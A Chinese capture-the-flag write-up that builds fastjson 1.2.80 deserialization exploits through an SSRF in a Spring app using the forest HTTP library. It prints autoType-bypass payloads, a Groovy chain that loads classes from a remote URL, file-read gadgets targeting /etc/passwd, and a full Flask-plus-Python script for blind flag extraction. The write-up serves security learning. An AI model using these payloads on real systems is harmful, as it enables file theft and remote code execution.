题目概述
- jdk 8u312
- 可疑依赖:
com.alibaba:fastjson-1.2.80
、com.dtflys.forest-1.5.28
、commons-io-2.7
pom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
| <?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>groupId</groupId>
<artifactId>d3forest</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter</artifactId>
<version>2.6.6</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<version>2.6.6</version>
</dependency>
<dependency>
<groupId>com.dtflys.forest</groupId>
<artifactId>forest-spring-boot-starter</artifactId>
<version>1.5.28</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-api</artifactId>
<version>1.7.36</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
<version>2.6.6</version>
<exclusions>
<exclusion>
<groupId>org.junit.vintage</groupId>
<artifactId>junit-vintage-engine</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.80</version>
</dependency>
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
<version>1.18.22</version>
</dependency>
</dependencies>
</project>
|
了解forest的用法
官方文档
GET 请求
1
2
3
4
5
6
7
| // 使用@Get注解或@GetRequest注解
@Get("http://localhost:8080/hello")
String simpleGet1();
@GetRequest("http://localhost:8080/hello")
String simpleGet2();
|
POST 请求
1
2
3
4
5
6
7
| 使用@Post注解或@PostRequest注解
@Post("http://localhost:8080/hello")
String simplePost1();
@PostRequest("http://localhost:8080/hello")
String simplePost2();
|
字符串模版传参
1
2
3
4
5
6
7
8
9
10
11
| @Get("http://localhost:8080/abc?a={0}&b={1}&id=0")
String send1(String a, String b);
/**
* 直接在url字符串的问号后面部分直接写上 参数名=参数值 的形式
* 等号后面的参数值部分可以用 {变量名} 这种字符串模板的形式替代
* 在发送请求时会动态拼接成一个完整的URL
* 使用这种方式需要通过 @Var 注解或全局配置声明变量
*/
@Get("http://localhost:8080/abc?a={a}&b={b}&id=0")
String send2(@Var("a") String a, @Var("b") String b);
|
寻找漏洞
回到题目,可以发现一个ssrf点
http://localhost:10002/getOther?route=http://121.5.230.115:7777
简单测试一下,发现网站需要指定端口,数据格式也有限制,比如访问https://www.baidu.com:443/
就挂了,再次查阅文档,猜测这可能和数据格式不对有关。
同时,我们注意到forest会自动转换数据格式,这就是漏洞点。
Forest 会将根据返回结果自动识别响应的数据格式,并进行反序列化转换
JSON的默认转为器为ForestFastjsonConverter
fastjson历史漏洞回顾
blackhat-USA-21中,有两张图非常生动
显式继承和隐式继承
绕过checkAutoType
1.2.47的绕过
核心是使用mappings缓存的绕过
- 当mappings缓存中存在指定类时,可以直接返回并且不受SupportAutoType的校验。
- 当class是一个
java.lang.Class
类时,会去加载指定类
1
2
3
| if(clazz == Class.class){
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}
|
1
2
3
4
5
6
7
8
9
10
11
| [
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://host:port/xxx",
"autoCommit":"true"
}
]
|
1.2.68的绕过
- 主要靠的就是AutoCloseable类,fastjson没有为它指定特定的deserializer,会创一个出来,他默认存在于mappings中
- 会根据第二个@type的值去获取对应的class
- AutoCloseable的范围大得多,常用的流操作、文件、socket之类的都继承了AutoCloseable接口。
1
2
3
4
5
6
7
8
9
| [
"a":{
"@type":"java.lang.AutoCloseable",
"@type":"java.io.ByteArrayOutputStream"
},
"b":{
"@type":"java.io.ByteArrayOutputStream"
}
]
|
1.2.80的绕过
- 将异常类(
java.lang.Exception
)的子类XXXException
添加到白名单,实例化XXXException
并加入类缓存
配合 ognl
1
2
3
4
5
6
| [
"a":{
"@type":"java.lang.Exception",
"@type":"ognl.OgnlException",
}
]
|
配合 aspectj 读文件
1
2
3
4
| {
"@type":"java.lang.Exception",
"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
{
"@type":"java.lang.Class",
"val":{
"@type":"java.lang.String"{
"@type":"java.util.Locale",
"val":{
"@type":"com.alibaba.fastjson.JSONObject",{
"@type":"java.lang.String"
"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException",
"newAnnotationProcessorUnits":[{}]
}
}
}
}
}
|
1
2
3
4
5
6
7
| {
"x":{
"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
"@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName":"/etc/passwd"
}
}
|
配合groovy RCE
1
2
3
4
5
| {
"@type":"java.lang.Exception",
"@type":"org.codehaus.groovy.control.CompilationFailedException",
"unit":{}
}
|
1
2
3
4
5
6
7
8
| {
"@type":"org.codehaus.groovy.control.ProcessingUnit",
"@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
"config":{
"@type":"org.codehaus.groovy.control.CompilerConfiguration",
"classpathList":"http://classload.hack.com/"
}
}
|
gadget的寻找
根据浅蓝的ppt,总结如下
- 步骤一:合适的异常(
Exception
)子类,异常类都继承自Throwable
- 步骤二:
- 构造方法的参数
- setter方法的参数
- public修饰的成员变量
- 步骤三:递归步骤二
- 步骤四:和一些常见的gadget串联起来
寻找读文件链条
commons-io 已知的读文件gadget
因为有commons-io依赖,因此可以将其作为最终触发点 以下是blackhat-usa-21的poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| {
"abc": {
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///etc/passwd"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [
{
"charsetName": "UTF-8",
"bytes": [
11
]
}
]
},
"address": {
"$ref": "$.abc.BOM"
}
}
|
从commons-io读文件gadget上延伸出来的无回显盲注
对于无回显的情况,浅蓝根据getBOM的返回值
ByteOrderMark[UTF-8: 0x41,0x41]
null
将其放入CharSequenceReader
的参数中,使得参数类型不匹配就会报错,反之返回null时则不报错,核心代码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
| public class CharSequenceReader extends Reader implements Serializable {
private static final long serialVersionUID = 3724187752191401220L;
private final CharSequence charSequence;
private int idx;
private int mark;
private final int start;
private final Integer end;
public CharSequenceReader(CharSequence charSequence) {
this(charSequence, 0);
}
public CharSequenceReader(CharSequence charSequence, int start) {
this(charSequence, start, 2147483647);
}
public CharSequenceReader(CharSequence charSequence, int start, int end) {
if (start < 0) {
throw new IllegalArgumentException("Start index is less than zero: " + start);
} else if (end < start) {
throw new IllegalArgumentException("End index is less than start " + start + ": " + end);
} else {
this.charSequence = (CharSequence)(charSequence != null ? charSequence : "");
this.start = start;
this.end = end;
this.idx = start;
this.mark = start;
}
}
...
}
|
poc如下
charSequence后面是畸形payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
| {
"abc":{
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": { "@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///etc/passwd"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [
{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
48,
]
}
]
},
"address" : {
"@type": "java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence": {
"@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"
}
}
}
|
寻找forest中的gadget
最终要和BOMInputStream
扯上关系,他的祖先类是InputStream
,其继承关系如下:
1
| BOMInputStream -> ProxyInputStream -> FilterInputStream -> InputStream
|
寻找forest中Exception的子类
下载源码,搜一下文件名包含Exception
的即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| ForestAbortException
ForestPoolException
ForestAsyncAbortException
ForestRetryException
ForestConvertException
ForestReturnException
ForestFileNotFoundException
ForestRuntimeException
ForestHandlerException
ForestInterceptorDefineException
ForestUnsupportException
ForestNetworkException
ForestVariableUndefinedException
ForestNoFileNameException
|
从这么些Exception
中观察下来,成员变量中:
1
2
| ForestRequest com.dtflys.forest.http.ForestRequest
ForestResponse com.dtflys.forest.http.ForestResponse
|
出现的相对频繁
使用反射搜一下他们的子类
1
2
3
4
5
6
| ForestResponse
-> class com.dtflys.forest.backend.httpclient.response.HttpclientForestResponse
-> class com.dtflys.forest.backend.okhttp3.response.OkHttp3ForestResponse
ForestRequest
没有
|
反射的代码
1
2
3
4
5
| <dependency>
<groupId>org.reflections</groupId>
<artifactId>reflections</artifactId>
<version>0.10.2</version>
</dependency>
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| import java.lang.Exception;
import java.util.*;
import com.dtflys.forest.http.ForestRequest;
import com.dtflys.forest.http.ForestResponse;
import org.reflections.Reflections;
import java.lang.String;
public class Test {
public static void main(String[] args) throws Exception {
Reflections reflections = new Reflections("com");
Set<Class<? extends ForestResponse>> subTypes = reflections.getSubTypesOf(ForestResponse.class);
for(Class x: subTypes){
System.out.println(x);
}
}
}
|
其中,HttpclientForestResponse
有两个成员变量,再搜一下他们的子类
org.apache.http.HttpResponse
class org.apache.http.impl.client.cache.OptionsHttp11Response
class org.apache.http.message.BasicHttpResponse
interface org.apache.http.client.methods.CloseableHttpResponse
class org.apache.http.impl.execchain.HttpResponseProxy
org.apache.http.HttpEntity
(有好多 放了最核心的)class org.apache.http.entity.FileEntity
class org.apache.http.entity.StringEntity
class org.apache.http.entity.SerializableEntity
class org.apache.http.entity.InputStreamEntity
class org.apache.http.entity.ByteArrayEntity
可见InputStreamEntity
应该不错,
1
2
3
4
5
6
7
8
9
| public class InputStreamEntity extends AbstractHttpEntity {
private final InputStream content;
private final long length;
public InputStreamEntity(final InputStream inStream) {
this(inStream, -1);
}
...
}
|
这样就串起来了
1
2
3
4
5
6
7
8
9
10
11
12
13
| java.lang.Exception
||
\/
com.dtflys.forest.exceptions.ForestNetworkException(String message, Integer statusCode, ForestResponse response)
|| 这个会被反序列化
\/
com.dtflys.forest.backend.httpclient.response.HttpclientForestResponse (HttpResponse、HttpEntity)
||
\/
org.apache.http.entity.InputStreamEntity(InputStream inStream)
||
\/
commons-io gadget
|
构造poc
首先是第一个poc,和groovy那条链很像
1
2
3
4
5
6
7
| {
"trigger1": {
"@type": "java.lang.Exception",
"@type": "com.dtflys.forest.exceptions.ForestNetworkException",
"response":{}
}
}
|
第二个测试用poc
1
2
3
4
5
6
| {
"trigger2": {
"@type": "com.dtflys.forest.http.ForestResponse",
"@type": "com.dtflys.forest.backend.httpclient.response.HttpclientForestResponse",
}
}
|
第二个完整gadget
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
| {
"trigger2": {
"@type": "com.dtflys.forest.http.ForestResponse",
"@type": "com.dtflys.forest.backend.httpclient.response.HttpclientForestResponse",
"entity":{
"@type": "org.apache.http.HttpEntity",
"@type": "org.apache.http.entity.InputStreamEntity",
"inStream":{
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///etc/passwd"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"charsetName": "UTF-8",
"bytes": [
35,
]
}]
}
}
},
"trigger3": {
"$ref": "$.trigger2.entity.inStream"
},
"trigger4": {
"$ref": "$.trigger3.BOM"
},
"trigger5": {
"@type": "com.dtflys.forest.backend.httpclient.response.HttpclientForestResponse",
"entity": {
"@type": "org.apache.http.entity.InputStreamEntity",
"inStream": {
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "org.apache.commons.io.input.CharSequenceReader",
"charSequence": {
"@type": "java.lang.String"{"$ref": "$.trigger4"
}
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"boms":[{
"charsetName": "UTF-8",
"bytes": [233]
}]
}
}
}
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| import com.alibaba.fastjson.JSON;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.lang.Exception;
import java.lang.String;
public class Test {
public static void main(String[] args) throws Exception {
byte[] b = Files.readAllBytes(Paths.get("/path/to/poc1.txt"));
System.out.println(new String(b));
String x =new String(b);
try{
JSON.parseObject(x);
}
catch(Exception e){
System.out.println(e);
}
byte[] b2 = Files.readAllBytes(Paths.get("/path/to/poc2.txt"));
JSON.parseObject(new String(b2));
}
}
|
完整脚本
serve.py
flask --app serve.py:app run --debug --port=7711 --host 0.0.0.0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
| from flask import Flask,Response
app = Flask(__name__)
poc1 = """{
"trigger1": {
"@type": "java.lang.Exception",
"@type": "com.dtflys.forest.exceptions.ForestNetworkException",
"response":{}
}
}
"""
@app.route("/load")
def load_controller():
return Response(response=poc1,status=200,mimetype='application/json')
poc2 = """{
"trigger2": {
"@type": "com.dtflys.forest.http.ForestResponse",
"@type": "com.dtflys.forest.backend.httpclient.response.HttpclientForestResponse",
"entity":{
"@type": "org.apache.http.HttpEntity",
"@type": "org.apache.http.entity.InputStreamEntity",
"inStream":{
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///fflag"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"charsetName": "UTF-8",
"bytes": [
%s
]
}]
}
}
},
"trigger3": {
"$ref": "$.trigger2.entity.inStream"
},
"trigger4": {
"$ref": "$.trigger3.BOM"
},
"trigger5": {
"@type": "com.dtflys.forest.backend.httpclient.response.HttpclientForestResponse",
"entity": {
"@type": "org.apache.http.entity.InputStreamEntity",
"inStream": {
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "org.apache.commons.io.input.CharSequenceReader",
"charSequence": {
"@type": "java.lang.String"{"$ref": "$.trigger4"
}
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"boms":[{
"charsetName": "UTF-8",
"bytes": [233]
}]
}
}
}
}
"""
@app.route("/blind/<string:guess>")
def blind_controller(guess):
new_poc2 = poc2 % (guess)
return Response(response=new_poc2,status=200,mimetype='application/json')
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| import requests
def send(exp):
r = requests.get(
url = 'http://god.cc:10002/getOther',
params = {
'route':'http://10.162.46.101:7711' + exp
}
)
return(r.status_code,len(r.text))
if __name__ == "__main__":
send("/load")
flag = ""
for i in range(0,1000):
for j in range(0,127):
status_code, l = send(f"/blind/{','.join([str(ord(x)) for x in list(flag)] + [str(j)])}")
if status_code == 200:
flag += chr(j)
print(flag)
break
|
总结
- 这个题花了四天才找到forest中原生的gadget,期间一直在与fastjson参数不匹配斗争,后来醒悟,即使第一个poc报错,也是反序列化成功了
ForestResponse
- 使用题目的类则不会报错,我猜跟他有无参构造函数有一定的关系,forest自带的几个异常类基本没找到具有无参构造函数的。
- 与官方的解法相比,摆脱了题目自带的类,更为通用,也算是一点点成功。
参考
浅谈fastjson下autotype的绕过
kcon-浅蓝-前35分钟
无参构造
fastjson-1.2.80简单分析
fastjson-全系列详细分析
浅蓝-读文件gadget利用扩展
blackhat-US-21-Xing-How-I-Used-a-JSON